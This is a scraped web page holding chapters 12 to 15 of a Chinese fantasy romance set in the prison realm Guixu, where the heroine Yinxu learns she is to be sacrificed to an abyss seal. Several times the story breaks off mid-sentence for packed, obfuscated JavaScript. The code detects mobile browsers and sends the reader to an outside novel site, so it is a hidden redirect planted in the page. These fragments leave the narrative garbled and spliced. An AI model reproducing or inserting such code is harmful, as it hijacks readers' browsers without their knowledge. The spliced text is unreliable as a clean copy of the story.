d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“滚。”他压抑着眉眼间的怒气，冷冷吐出一个字。 又是一阵难听的嘶吼，裹挟着呼啸而过的臭气，音续五官拧成一团。她还维持着半蹲的姿势，心脏在胸膛里砰砰狂跳。 那怪物飞走前，被玄凌甩出的黑气震地颤动几下，胸前裂开一道长长的口子，什么东西从里面滚落出来，精准无误地掉在音续面前。 是面铜镜，裹着腥臭腐朽的黏液从天而降。音续又是一阵干呕，连连向后退了几步。可当她目光不经意落在镜面上时，呼吸骤然停滞。 镜子里映出她自己的脸，苍白而惊魂未定，但在她身后，赫然站着一个陌生男子。墨发高束，眉眼比玄凌柔和几分，此刻正用一种古怪的眼神盯着她看。 谁？！ 音续猛地回头。 身后只有玄凌，且并未看着她。 他还站在刚刚的位置，黑袍被风吹得猎猎作响，那张脸一如既往地冷漠。 12. 归墟钟鸣失心魄，镜影随行踏尸林 “拿着它。”玄凌扫了眼地上的铜镜，开口说出了进入归墟以来，和音续说得第一句话。 音续先是一怔，继而保持着蹲在地上的姿势朝玄凌眨了眨眼：“你终于肯和我说话了。” 或许是玄凌的主动开口让她有些意外，音续看了看躲在远处的罪仙，壮着胆子问道：“刚刚他们在挖什么？” 玄凌不回答，只是眯着眼睛看她。 “不会是这面铜镜吧！”音续凑过去盯着地上的镜子，嘴巴抿成一条直线。老实说，它的味道真是不好闻，散发着极尽诡异的腐臭的同时，还能精准地找到路线，从鼻孔直冲天灵盖。 玄凌却好像什么都没闻到，依然很体面地站在原地。他冷笑一声，说道：“看来也没蠢到无药可救的地步。” 音续本来就不太乐意，听玄凌这么一说，更不高兴了。光让她拿着自己却不拿，算什么本事！ 音续感到非常不满，但又不敢拒绝，只好拐弯抹角地提醒：“你有没有闻到一股奇怪的味道？像不像从这个镜子身上传来的？” “闻到了。”玄凌利落转身：“所以才让你拿。” 音续：…… “可是……”眼见着玄凌就要走远了，音续赶忙叫住他：“可是这面镜子里有人！” 玄凌终于停下了脚步。 音续小跑跟上去，顺势夸大道：“我活了这么久！从未见过如此可怕之人！他脸长如马，身型似猪，眼珠子大得像是要瞪出来！刚才一眨不眨地盯着我看！” 见玄凌似乎是被她说动了，音续继续眉飞色舞地补充：“看样子一定是个被封在镜中的妖怪，还是相貌极为丑陋的那种，带在身边估计也是个祸害……” “啧啧，相由心生啊，相由心生……”音续大力地摇晃着脑袋。 玄凌的眉头几不可查地蹙了一下，周身的空气似乎都冷了几分。他转过头盯着音续，语气中带着一丝不易被察觉地不耐：“你管它是什么？” 音续被他这眼神看得一缩脖子，心里的嘀咕不敢再说出口，只嗫嚅着问：“那……那还带着吗？” “带着。”玄凌扔下冰冷冷的两个字，迈着大步继续朝前走。 音续在身后撇撇嘴，看着地上那面沾着腥臭粘液的铜镜，满心不乐意。她想踹玄凌个大跟斗，但在这归墟之中，自己手无缚鸡之力，也只能玄凌说什么，她就做什么了。 音续环顾四周，实在找不到什么别的东西，只好不情不愿地从自己那件粗布衫上撕下一块相对干净的布，蹲下身在铜镜上随手抹了抹。 那股腐臭味呛得她直皱眉，擦了好一会儿才勉强弄干净。音续捏着布的一角，将铜镜胡乱裹住，拎在手里，快步追向玄凌。 “接下来我们去哪里？”音续喘了口气问道。 玄凌头也不回，拉着脸继续往前走，过了好半晌才开口。 “失心渊。” 音续怀疑自己是被臭气熏晕了脑袋，不禁提高声音又问了一遍：“你说什么？” 她沉浸在自己的诧异中，一时没注意到玄凌已经停下了脚步。等音续反应过来时，已经带着一身臭气猛地撞在玄凌后背上。 “哎呦。”音续揉着被撞疼了的额头，手上本就包裹得不严实的铜镜摔在地上，发出清脆的响声。 她一愣，连忙俯下身子，还不忘重复道：“你刚刚说什么？我这里……” 话音未落。音续歪着脖子仔细打量地上那枚铜镜。镜中男子竟然又出现了！音续瞪大眼睛，从这个角度刚好可以看见男子的半个下巴和挺翘的鼻梁。 只是这个姿势……这男子分明就站在他前方。 音续抬头看了看玄凌，又看了一眼镜中男子，大惊失色道：“这这这……” “脸长如马，身型似猪。”玄凌垂眼看她，面上没有任何表情。 “这这这……这是你！”音续后知后觉反应过来。她声音卡在喉咙里，脸颊“腾”地一下涨得通红。她刚刚把人家形容成那样，现在却发现镜中之人就是眼前这位。音续耷拉着脑袋不敢讲话，生怕玄凌一个不乐意把她扔进失心渊。 玄凌弯腰拾起铜镜，用那块碎步裹着擦了擦边缘的污渍，镜面里的轮廓愈发清晰，哪有半分“脸长如马，身型似猪”的影子。 他将铜镜递还给音续，指尖在她肩膀上摩挲了两下，漫不经心地解释：“归墟之中，多有诡谲。我用了易容术，寻常人看到的都是镜中那副模样。” 音续接过铜镜的手都在发颤，脑子里飞速回想起刚才那番夸大其词的形容，恨不得找个地缝钻进去。 她干咳了两声，硬着头皮道：“啊……我说呢！刚才肯定是光线太暗看走眼了，你看着镜中之人，眉如墨画，眼若寒星，分明是气宇轩昂。” “我刚才那番话纯属胡言乱语，当不得真，当不得真……” 她越说越心虚，偷偷瞟了眼玄凌，见他还是那副看不出情绪的模样，心里更没底了：“我这人……” “闭嘴。”玄凌皱起眉，打断了她的话。 音续话头猛地顿住，她悻悻地低下头抠着自己的手指，不再说话了。 突然，天地间好像变了一副模样。三轮残月渐渐重叠，天边传来一阵古怪的叫声。不远处的人群开始骚动起来。 远处，“咚”的一声闷响，像是巨锤敲在空心时钟上，震得人耳膜微微发颤。 音续下意识抬起头，刚想询问“那是什么”，话到嘴边又猛地咽了回去。玄凌不让她说话，音续紧抿着嘴唇僵在原地，进退不是。 原本或坐或卧的罪仙，在听到那一声沉闷的钟响后纷纷站了起来，脸上的麻木被惊恐撕碎，他们慌不择路地朝着同一个方向狂奔。 衣袂摩擦的声响里，混杂着含混的惊叫，那声音像是被掐住喉咙的困兽，听得音续后颈的汗毛瞬间竖立起来。她朝着罪仙奔跑的方向望去，只见原本绛紫色的天空像是被墨汁浸染，迅速暗沉下去，不过片刻功夫，远处的最后一丝光亮也被吞得干干净净。黑暗像潮水般涌来，眨眼间漫过她的脚踝、胸口，直到彻底裹住她，连眼前玄凌的身影都开始变得模糊。 天地间陷入伸手不见五指的黑暗。 “咚——咚——咚——” 钟声再次响起，比刚才更加清晰，也更加沉重，仿佛就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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音续的脚步渐渐慢了下来，直到彻底停下。她茫然地抬手抹了把脸，才发现满脸都是冰凉的泪水，连脖颈都被浸湿了。 天一点点亮起来，音续模模糊糊地看见，那些自己刚刚绕开的“障碍物”们，此刻全成了干瘪的尸体，皮肤紧紧贴着骨头，双眼空洞，手里还保持着合十的姿势。 胃里一阵翻江倒海，音续再也忍不住，扶着膝盖剧烈地干呕起来。酸水从嘴角溢出，却什么也吐不出来。她腿一软，瘫坐在地上，浑身抖得像秋风里的落叶。 “害怕了？” 玄凌的声音自身侧想起。音续抬起头，见玄凌就站在不远处，手里把玩着那面已变得一尘不染的铜镜，正居高临下地看着她。 他眼里没有丝毫波澜，像是看了一场颇为无聊的戏剧表演。 周围的干尸在晨光里泛着青灰的色泽，血腥味和腐臭味交织着弥漫开来。音续望着玄凌那张毫无表情的脸，看着他朝自己走近。 “灵者。”玄凌垂眸看她：“这么胆小的话，下次就别在灵摆上动手脚了。” 13. 归墟风紧惊魂定，孤寻生路入幽窟 音续刚擦干脸上的泪水，就冷不丁听见玄凌这样一句话。她抬起头，鼻尖还泛着股酸意，看向玄凌的目光中却多了几分尖锐。 归墟的风像一条无形的蛇，钻进她的衣袖，缠绕她的骨头，冷得她牙齿都在打颤。 “我害怕又怎么了？”音续没来由的觉得失望，失望过后是浓浓的愤怒，她咬着牙不肯示弱：“这里到处都是尸体，还有吃人不眨眼的黑夜！换做谁能不害怕？” 玄凌把玩铜镜的手指顿了顿，镜面反射的光晃了音续一眼，他的语气依旧冷淡：“害怕就该安分一点。” “安分？”音续声音猛地拔高，眼泪又滚了下来：“我要是安分的话能活到今天？” “你明明什么都知道，却还是看着我被灵摆卷到这鬼地方，现在还反过来指责我！”她撑着地面想要站起身，腿却软得发虚，只能跌坐在干尸旁的石地上，青灰色的石屑粘着血与汗水，黏在她裸露在外的小腿上。 “你早就知道对不对，知道云诡的计划，知道我会被带到归墟，知道我无论如何都会死在这里。” “你从头到尾装得一无所知，像看笑话一样看着我像傻子一样跟着你，还要忍受你的冷嘲热讽！”她越说越愤怒，积压已久的情绪像洪水般涌了出来，音续破罐子破摔，心想反正横竖都是一死，还不如死得爽快一点。 “死在这里？”玄凌自上而下地看着她，语气平淡得像在陈述一件无关紧要的事：“我救了你两次。” “救我？”音续冷笑一声：“是谁把我带到这个地方来的？” 她撑着石地站起来，努力挺直了腰板：“是啊，你是厉害，想杀人还是救人都不过一句话的事。” 归墟的风总裹着细碎的砂石，擦过她的发梢。这里的一切都充满未知的危险，神秘的钟声，吞噬一切的黑暗，连过往的风都仿佛带着能刺入骨髓的凉意。 这个地方，她抬脚都要盯着地面看半晌，生怕哪片碎石下能藏着夺人性命的诡物。而这一切的一切对于玄凌来说都不过是拂过衣襟的寻常尘埃。 音续看着他从容的模样，心口又酸又涩。她回想自己踏入魔界的那一天，好像从那一天起，她每时每刻都活在担惊受怕之中。可如今想来，她的命没有那么珍贵，死了或许倒是一种解脱。 过了好一会儿，音续终于乏力地躺回了地上：“你想让我做什么就直说吧，反正我也逃不掉。”她闭上眼，声音沙哑却带着股豁出去的麻木：“别再和我说什么‘救了我’，我宁愿从来没见过你。” 玄凌看着她躺在地上的身影，她的肩膀还在微微颤抖，连反抗都带着可怜的脆弱。 手中的铜镜轻轻晃了晃，镜面里映出音续沾满灰尘和泪水的侧脸。他的眉头几不可查的蹙了一下，却没再说话，只是任由猎猎作响地风将两人拉得越来越远。 玄凌握着那把铜镜转身离开了。 四周恢复死一般的寂静。她蜷缩在地上，手臂紧紧抱住自己，肩膀仍旧因为余怒与惊惧而颤抖。但泪水流到尽头，也只剩下一种干涸般的空虚。 过了很久，音续才慢慢抬起头。眼角还挂着泪痕，却已经没有刚才那股歇斯底里的怒意。 音续在呼啸而过的风中打了个寒颤，她深吸了一口气，小心地把身旁一具干尸推开，她强忍恶心扒下对方残破的披风，裹在自己肩上。布料冰冷僵硬，还带着一股若有若无的阴腐气。 天边又变成了绛紫色。不远处的石壁上有些奇怪的裂痕，像是被利爪划出的痕迹，往更深的地方延伸。她想起之前的钟声，心里又是一阵紧缩。那股诡异与赤裸的恐惧让她不敢回忆，音续踉跄着想要站起身，忽然听见前方传来一阵轻微的“哒哒”声。 音续屏住呼吸，紧紧攥着手里的一块石片，指尖因用力而泛白。她想尖叫，却生生咬住舌头，让自己保持安静。 声音越来越近，终于停在了离她不远的阴影中。 那是一只生着三只眼睛的怪鸟，身形比狗大，翅膀残破，一只眼球垂落在脸颊边，正滴着漆黑的液体。它的喙微张，空气里传来一阵令人作呕的腥臭味。 同样长着三只眼睛，一坨看上去就可爱许多。 音续突然有点想念她的伙伴。 怪鸟在她身旁停了片刻，三只眼在她脸上游移，似乎在分辨猎物与残骸的差别。它的喙缓缓探过来，离她的鼻尖只有半寸。 音续屏住呼吸，手心冒出一层冷汗。她能清晰听见自己的心跳声，仿佛下一刻就要把自己暴露。 “走开……走开……”她在心里一遍遍默念，几乎咬破嘴唇。 忽然，远处传来金属摩擦石壁的“锵”声。怪鸟猛地抬头，三只眼骤然收缩，扑棱着破烂的翅膀，拖着腥风钻进了暮色中。 音续整个人软倒在地上，气息还没完全平复，胸腔里的心跳却依旧猛烈撞击着耳膜。 “……要疯了。”她抬手狠狠擦了把脸，“谁说凡人胆子小？我刚刚没哭也没叫，不就比你们这些神魔强多了？” 她口中说得硬气，心里却清楚自己方才差点就被那只怪鸟啄穿了喉咙。音续咽了口唾沫，手心的汗还未干透，便撑着膝盖，慢慢让自己站了起来。风声依旧阴冷，但怪鸟离开后的空寂反而更令人心慌。 她环顾四周，记起方才那些罪仙听见钟声后，不约而同朝同一个方向狂奔。 为什么要跑？ 音续心里一紧。若那钟声是某种危险的预兆，他们的反应就像是野兽的本能，逃跑的方向或许藏着一线生机。她裹紧从干尸身上扒下的披风，咬着牙，朝那个方向一步步挪去。 归墟里的路崎岖难辨，石壁上遍布裂痕，脚下碎石一踩就“咔咔”作响。音续不敢大声呼吸，只能慢慢挪动脚步，提防着四周随时可能出现的危险。 不知多久，她忽然察觉周遭的风声渐渐变弱。头顶阴云翻涌，却有一束微弱的光线从前方石缝中透出。那光并不明亮，却像暮色里唯一的烛火，牵引着她的脚步。 音续屏住呼吸，顺着那道裂缝钻了进去。石壁擦过手臂，带下一道浅浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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音续正低头看着传音石发愣，忽然听见洞窟深处传来一阵轻轻地咳嗽声。经历了一天的坎坷搓磨，她对这种突如其来的动静几乎有些应激，音续警惕地站起身，静悄悄后退两步，打量着黑洞洞的洞口。 “你是这次祭典的灵者？”一个看不出年岁的妇人挑了盏油灯，站在洞口黑影里。她的衣衫陈旧斑驳，破破烂烂地挂在身上，头发白了一半，眼神却透着一丝难言的清亮。 “钟声没有响，你怎么来这儿了？”妇人轻声问。 “不……不可以吗？”音续被她突如其来的问题搅乱了思绪，她下意识后退半步，背撞在冰冷的石壁上，听见妇人轻笑了一声。 “当然可以了，只是这个时候，他们都在荒原开凿固魂石呢。” “固魂石？”音续皱了皱眉。她想起自己曾看见罪仙拿着锄头，在荒原不知疲倦地挖着什么，当时以为他们是在挖掘铜镜，但现在看来，似乎另有隐情。 见音续眉毛几乎拧在了一起，妇人又轻声说道：“你运气比他们好得多，你不是独自被丢到这里的，你身后有人护着你。” “没有。”音续硬生生地反驳：“只是利用我罢了。” 14. 归墟窟里藏生计，寒影床前破梦魂…… “管他是什么目的呢？”妇人声音里带着一丝温和的笑意：“只要你的目的达到了就好。” 她不再多言，侧身让开一条狭窄的通道，微微一歪头，示意音续跟上。 “随我来吧。” 油灯的火苗摇曳不定，时明时灭。音续犹豫了片刻，最终还是跟了上去。石洞极其逼仄，只容一人侧身通过。等到妇人举着得那盏灯几近熄灭时，前方的通道忽然开阔起来，原本压抑得令人窒息的气息慢慢褪去，走到拐角时，她几乎以为自己出现了幻觉。 眼前是一片开阔的天地。 这里像是一个被藏在地底的聚落。四周石壁高耸，上头镶嵌着奇怪的晶石，散发出微弱的亮光。石壁脚下零星搭建着几座房屋，虽是由残破木板、石块和兽骨堆成，却也井然有序。 音续心头一紧，她在归墟荒原见过那些披头散发、衣衫破烂的罪仙，可此刻面前这些人们，却像极了凡间的村民，面容憔悴，带着几分活下去的本能。 妇人似乎看出了她的错愕，轻声笑了笑：“归墟虽是弃地，但活着的人，总得想办法继续活下去。” 说着，她引音续穿过一条小巷。推开一扇歪斜的木门，屋内弥漫着淡淡的汤香。妇人麻利地在炉火上添了几块石炭，又往锅里下了些许面疙瘩。 “先吃点东西，别怕，这里没那么快死。”她将一碗热气腾腾的面汤放到音续面前。 这话虽然不算好听，但也多少起了一些安慰作用。音续怔怔望着碗里形状歪斜的面疙瘩，心口忽然一阵酸楚。她已记不清上一次吃到热食是什么时候，指尖有些颤抖，勺子舀到嘴边时，眼泪几乎又要落下来。 “想家了？”妇人低头看向她，关切地问道：“你是哪一族人？” 音续还没落下来的泪水瞬间憋了回去。她嚼了嚼口中的面疙瘩，含糊着问：“还没问过您是哪一族。” “我是吉里烬林一族。”妇人淡淡一笑。 “什……什么？”音续正在嚼面疙瘩的嘴巴停了下来，她飞速眨着眼睛，试图听清那四个蹦出来的字：“什么唧哩唧哩？” “吉里烬林。”妇人耐心地重复：“我们族群很小，你不知道也不奇怪。” 音续赶紧点头，顺口胡编道：“我是古路郭落一族。”她将嘴里的面疙瘩咽下去，补充着说：“我们族群也很小，你肯定没听过，哈哈……” 好在妇人没再追问下去，只是替音续又盛了一勺汤。 “不用了，不用了。”音续很客气地把碗里的汤匙拿出来，方便妇人倒汤的动作。 两人正客套着，歪斜的木门忽然被一把推开。紧接着，一个年纪与音续相仿的女孩兴冲冲地跑进来：“娘！我今天挖到了两块固魂石！” 女孩兴奋地举起石头，直到看见音续，脚步才顿住：“咦，来新人了？” “是这次祭典的灵者。”妇人解释。 “看上去年纪好小啊。”女孩拉了张凳子，坐在桌前撑着下巴打量音续。 “和你差不多大。”音续被她看得有些不自在，用大碗挡住脑袋，含含糊糊地说。 “你是哪一族的？”女孩问。 又是这个问题。音续捧着碗的手一顿，她根本不记得刚刚说得是哪四个字了。好在余光瞥见妇人已悄悄掩门离开，音续这才放心道：“咕路顾落。” “有这个族吗？”女孩眨巴两下眼睛。 “怎么没有。”音续一本正经地说：“你们那个什么唧哩唧哩都有。”她放下碗，满足地砸砸嘴，和女孩有一搭没一搭地扯家常：“你也是那个唧哩唧哩一族的？” “算是吧。”女孩说：“但我从小在仙族长大，对家乡了解不多。你是一个人来的？” “你眼神不如你娘好啊。”音续眯着眼睛调侃她：“她一眼就看出我身边有人护着了。” “人呢？”女孩朝四周望了望。 “甩了。”音续说。 “帅哥哥吗？”女孩又问。 “丑得不得了。”音续说。 两人正聊得热络，忽而听见外面又传来低沉悠远的钟声。 音续听见这声音就发怵，几乎是条件反射般蹦了起来，哆哆嗦嗦地猫着腰钻到桌子底下：“怎怎怎怎怎怎怎怎么又来了！” “嘘——”女孩弯腰探进来一个脑袋：“别出声，躲好就行。” 音续忙不迭点头，在桌下蜷缩成一团。屋外响起稀稀疏疏的脚步声，似乎许多人在急切奔跑，不时碰倒桌椅，又匆忙扶起。她屏息不敢动，直到钟声渐远，终于彻底消失。 “结束了吗？”音续小心探出半个脑袋，用气声询问。 “结束了。”女孩伸手将她拉出来。 音续仍心有余悸，皱着眉问道：“归墟的钟声到底是什么意思？” “你知道归墟下震压着什么吧。”女孩盯着她的眼睛，声音放低。 音续点点头，正要开口：“渊……”却被女孩迅速捂住了嘴。 “在数十万年前，它被魔尊震压在了归墟失心渊下。但随着岁月推移，它的气息愈发强盛，封印也出现了很多漏洞。” 她顿了顿，缓缓道：“六界每隔一百二十年举行一次祭祀大典，以血、肉、魂三祭稳固归墟封印。” “而我们这些罪仙。”女孩指指自己：“便是最合适的祭品。” 音续一头雾水：“可是，这和钟声又有什么关系呢？” 女孩轻声笑了笑，解释道：“每当钟声响起，黑夜便会席卷归墟，夺走一切生灵的魂息，以此填补封印的缺口。最早的罪仙发现了这处洞窟，黑夜进不来，它变成了暂时的庇护所” 音续眉头一紧，蓦然想起玄凌。难怪他在钟声响起时毫无惧色，这归墟“钟响掠魂息”的规则，或许就是由他一手制定的。 “可既然如此，为什么不一直躲在洞窟里？”音续又问。 “总得出去挖固魂石啊。”女孩又笑了。音续注意到，她笑起来的时候脸颊旁有两个小小的酒窝，很漂亮。 “在归墟，固魂石极为重要！它不仅能与人交换物品，更能稳固魂魄，避免心神失守，坠入失心渊，成为不仙不鬼的怪物。” “你叫什么名字？”见音续的目光总在自己脸颊旁打转，她笑着晃了晃脑袋，问道。 “音续。你呢？” “叫我阿芝就好啦。” 音续刚要顺着话茬回应，嘴角却先不受控地向上扯了扯，一个绵长的哈欠从喉咙里溢出来，眼角瞬间沁出细碎的泪花。 她赶忙揉了揉眼睛，不好意思地弯了弯嘴角：“可能是刚才那碗热汤太暖和了，从胃里暖到心里，紧绷的劲一松，突然就觉得乏了。”她不好意思地拍了拍脑门，笑道。 “累就对啦。”阿芝麻利地收拾起桌上的空碗，瓷碗碰撞发出清脆的叮当声，在安静的屋里格外清晰。 “归墟这地方没有日升月落，更没有凡间那种‘子时’‘卯时’的时辰概念，不分什么白天黑夜的，只要觉得累了，随时都能找地方歇着。”她端着摞好的碗往门口走，走到门边又停下脚步，回头朝音续招了招手，“跟我来，隔壁有间空房，铺了新晒的干草，你先在那儿住着，比这儿清静些。” 音续点点头，撑着石桌慢慢站起身，跟着阿芝穿过一条更狭窄的走廊。走廊两侧的石壁上，镶嵌着好几块大小不一的晶石，淡蓝色的微光从晶石内部缓缓渗出来，柔和地洒在粗糙的石壁上，又漫过地面，将两人的影子拉得忽长忽短，像在地上跳着无声的舞。 音续盯着那些晶石看了半晌，目光在最亮的一块晶石上顿了顿。那晶石约莫拳头大小，光芒比其他几块更盛些，映得周围的石壁都泛着淡淡的蓝晕。 她实在忍不住，开口问道：“这些晶石一直这么亮着吗？能不能暂时熄掉？总觉得这光晃得人心里有点不踏实，想好好睡一觉。” 阿芝的脚步猛地顿住，她转过身，原本带着笑意的眼神里多了几分认真，甚至还掺着一丝不易察觉的凝重：“你忘了刚才的钟声了吗？” “在归墟，‘黑’可不是什么好象征。黑暗不仅会掠夺暴露在外的魂息，而且里面还藏着失心渊散出来的戾气，要是没了光，那些戾气很容易缠上体弱的人，让人昏昏沉沉的，一不小心就会心神失守。” 她伸手轻轻碰了碰身边的一块晶石，指尖触到冰凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213459|181397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的石面，光芒在她触碰的瞬间微微闪烁：“这些晶石亮着，不只是为了照明，更是一种安慰。看着这光，就知道黑夜还没闯进来，我们是安全的。” 音续愣了愣，随即了然地点点头：“好像是这个道理。亮着就亮着吧，这样也安心。” 说话间，阿芝已经推开了走廊尽头一扇更陈旧的木门。木门轴早就锈了，推开时发出“吱呀——”一声悠长的声响。 房间不大，约莫只有两张床的大小，里面摆着一张简陋的石床，床板上铺着厚厚的干草，床头的石壁上也嵌着一小块指甲盖大小的晶石，光芒虽弱，却足够照亮整个小房间。 “你先在这歇着。”阿芝伸手拍了拍干草，确认铺得平整，才又转过身：“有事就喊我，我就在隔壁，嗓门大点我就能听见。”她轻手轻脚地出去，还贴心地带上了木门，只留下一道细微的门缝。 音续走到床边，慢慢躺了下去。干草带着淡淡的土腥味，萦绕在鼻间。她盯着头顶那块小小的晶石，看着淡蓝色的光在石床上投下细碎的光斑，慢慢闭上眼睛，脑子里却不由自主地转了起来。 这个洞窟里的人，靠着挖固魂石换物资，靠着彼此的扶持在归墟里挣扎求生，还要时时躲避异兽和黑夜的掠夺，实在是艰难。 玄凌心思深沉，又对归墟的一切了如指掌，若是让他知道这个洞窟的存在，恐怕这些罪仙连这点最后的容身之地都保不住。千万不能让他找到这里，绝对不能…… 困意像潮水般漫上来，音续没再想下去，意识很快进入了梦乡。 她睡得不沉。一个又一个片段在脑海里飞速闪过。她梦见了凡间的小屋，梦见了圣宝楼内的石门幻境，梦见了烬夜宫外，撞见玄凌和赤炀谈话的场景。最后，兜兜转转又回到了归墟。 梦里，也是这间房屋。房间里的暖意还没焐热被褥，空气就骤然凝住了。 不是风带来的凉，而是周身围绕着的深沉冷意，像无形的网，悄无声息地裹住整个屋子。明明门窗都关得严实，床头那枚嵌在石壁里的晶石，却突然暗了下去，淡蓝色的光在瞬间褪成了冷银，连石床上的光斑都跟着颤了颤，像是在畏惧什么。 梦里，音续后颈的汗毛猛地竖了起来，刚放松的指尖瞬间攥紧了身下的干草，连呼吸都下意识顿住。她没听见推门声，没听见脚步声，甚至没察觉任何气息流动，可那股熟悉的、属于玄凌的压迫感，已经落在了她的后背上，近得仿佛下一秒就能触到她的发尾。 “在担心什么？”清冷的男声在耳边响起，没有丝毫预兆，尾音轻轻勾着，像冰刃擦过心尖。 音续刚要翻身，手腕却先被一只微凉的手攥住，那力道不重，却带着不容挣脱的强势，将她的动作牢牢定住。 她被迫侧过脸，撞进一双深邃如寒潭的眸子。玄凌不知何时已站在床畔，墨色的衣摆垂在地面，扫过干草时竟没带起一丝碎屑，黑发松松束着，几缕碎发垂在眉前，浅浅遮住眉眼。透过发丝望进那双眼睛，音续明白他早把她方才的心思翻来覆去看了个透。 玄凌没碰过那扇门，就像是从归墟的阴影里直接钻出来的，连周遭的光影、空气的温度，都跟着他的出现变了节奏。他微微俯身，指尖轻轻蹭过她攥紧干草的手背，语气里带着不容置疑的笃定：“你以为，这归墟里有什么地方，是我找不到的？” 音续先是一愣，汗顺着额头淌下来的前一秒，音续突然意识到了这是在梦里。她一下子涨了士气，猛地坐起身，两腿顺势一蹬，嗓子里迸发出一声带着颤意的嘶吼：“滚开！” 这一声喊得太急，她自己先从梦里惊醒，胸腔还在剧烈起伏，额角沁出了薄汗，连蹬腿踹人的力道都显得那么真实。 还没等她缓过神，视线里却撞进了一片熟悉的墨色短衫。 玄凌正站在床前，距离近得能看见他衣摆上绣着的暗纹，那双含着淡淡戏谑的眼睛，正一眨不眨地盯着她，和梦里的画面分毫不差。 音续觉得自己的呼吸都融进了空气里。 见她醒了，玄凌嘴角勾起一抹极淡的笑，指尖轻轻碰了碰床头的晶石，冷银色的光瞬间漫过整个房间。 “醒了？” 15. 失心渊底绝生路，钟声夜噬故人魂…… 音续深吸一口气，下意识往后缩了缩。攥紧干草的指尖泛了白，嗓子里发不出半点声音。 玄凌却像是没看见她的慌乱，缓缓移开视线，语气中带着几分漫不经心：“梦到我了？” 没等音续回答，他又轻笑一声，指尖转而落在床头的晶石上。那枚原本泛着冷光的晶石，瞬间被一层银辉裹住，光芒顺着他的指尖蔓延，竟在石壁上映出了洞窟里的景象——阿芝在隔壁收拾碗筷，远处的族人正围着篝火打磨固魂石，连最隐蔽的小巷都看得一清二楚。 音续咽了口唾沫，在荧荧幽光中对上玄凌的眼眸。 “你要干什么？”音续两手撑着床板。干草堆硌得她掌心有些疼，但这无不在警告她，眼前的场景并非梦境。 “你交到新朋友了？”玄凌似笑非笑地看着她，指尖在晶石光纹上轻轻划了一下，石壁上的景象便定格在族人打磨固魂石的画面。 “你要干什么？”音续身体都在发抖，却还是强撑着语气又问了一遍。 “我不做没有意义的事。”玄凌对她内心的想法一清二楚，毫不掩饰地说：“和你的新朋友们告个别吧。” 话音刚落，音续只觉得眼前一阵天旋地转，手腕突然被玄凌攥住，冰凉的触感瞬间穿透衣料。下一秒，她双脚便离开了干草堆，整个人被玄凌带着往门外掠去。 速度太快，走廊里的晶石微光在她眼前连成一片蓝影，阿芝在隔壁的说话声、族人打磨固魂石的叮当声，都被风卷成了模糊的碎片。 她回头望去，洞窟的木门越来越远，最后彻底消失在绛紫色的天幕中，只剩下归墟荒原特有的，带着土腥味的冷风。 没等她缓过神，玄凌突然带着她往下俯冲。音续只觉得耳边风声呼啸，视线里的景象从漆黑的荒原，变成了翻涌着赤红色火光的深渊。失心渊的洞口像一张巨口，里面烧灼着熊熊烈火，火舌舔舐着岩壁，将周围的黑雾都染成了暗红色。 更让她头皮发麻的是火渊里的嘶吼声。不是兽吼，而是像无数人在同时哭喊，凄厉又绝望，顺着风飘进耳朵里，听得人心脏发紧。 音续抬眼望去，只见火渊中飞着十几只人面怪兽，它们长着人的脸，却有着蝙蝠般的翅膀，皮肤泛着青灰色，爪子上还挂着未干的血痕，正互相缠绕着打斗，撕咬声混着嘶吼，在深渊里回荡。 音续吓得闭上眼睛，却只觉得玄凌的速度越来越快。越往深处，火光越盛，岩壁上出现一道道金色的纹路，多处已断裂，黑雾正从缝隙里源源不断往外冒。 “你带我来这里，到底要做什么！”音续的话被风声搅得有些模糊，却被玄凌一字不落地听进耳朵里。 “什么都不知道就跟着我来了？”玄凌轻笑一声：“灵者。” 玄凌带着她落在一块突出的岩壁上。这里的火光更旺，能清楚看见下方火渊底部有一块巨大的黑色石碑，碑上刻着复杂的图案，只是祭图的中心是空的，像在等着什么东西填补。 音续心里突然有一种不好的预感。 “让我猜猜，云诡和你说了什么？”玄凌语气轻飘飘的，带着惯有的冷淡与不屑，像是随意的一场谈话。 “灵者的任务很简单，来归墟走一趟就可以回家了。”玄凌看着她的眼睛：“是不是？” 音续僵在原地，指甲嵌在掌心的肉里。 “要不要听听另一个版本的故事？” 没等音续回答，他就转过身，伸手指向火渊底部的祭图。 “失心渊的封印，在数十万年前震压它时就有了裂痕。这些年，裂痕越来越大，除了罪仙的血肉魂，祭图还需要一个‘引子’，就是至纯至善的魂魄。” 音续的呼吸骤然停住：“所以，灵者其实就是符合条件的魂魄。” “没错。”玄凌看上去心情颇为舒畅，和音续说话时都显得和颜悦色了几分。他看着音续在火光下发白的脸，语气没有半分怜悯。“六界需要‘灵者拯救苍生’的说法来稳定人心，也需要一个干净的魂魄做祭图引子。从你被灵摆选中的那天起，你的结局就定了。” “那之前的灵者呢？”音续追问，脑子里突然闪过洞窟里的骸骨，“他们是不是也来了这里？” 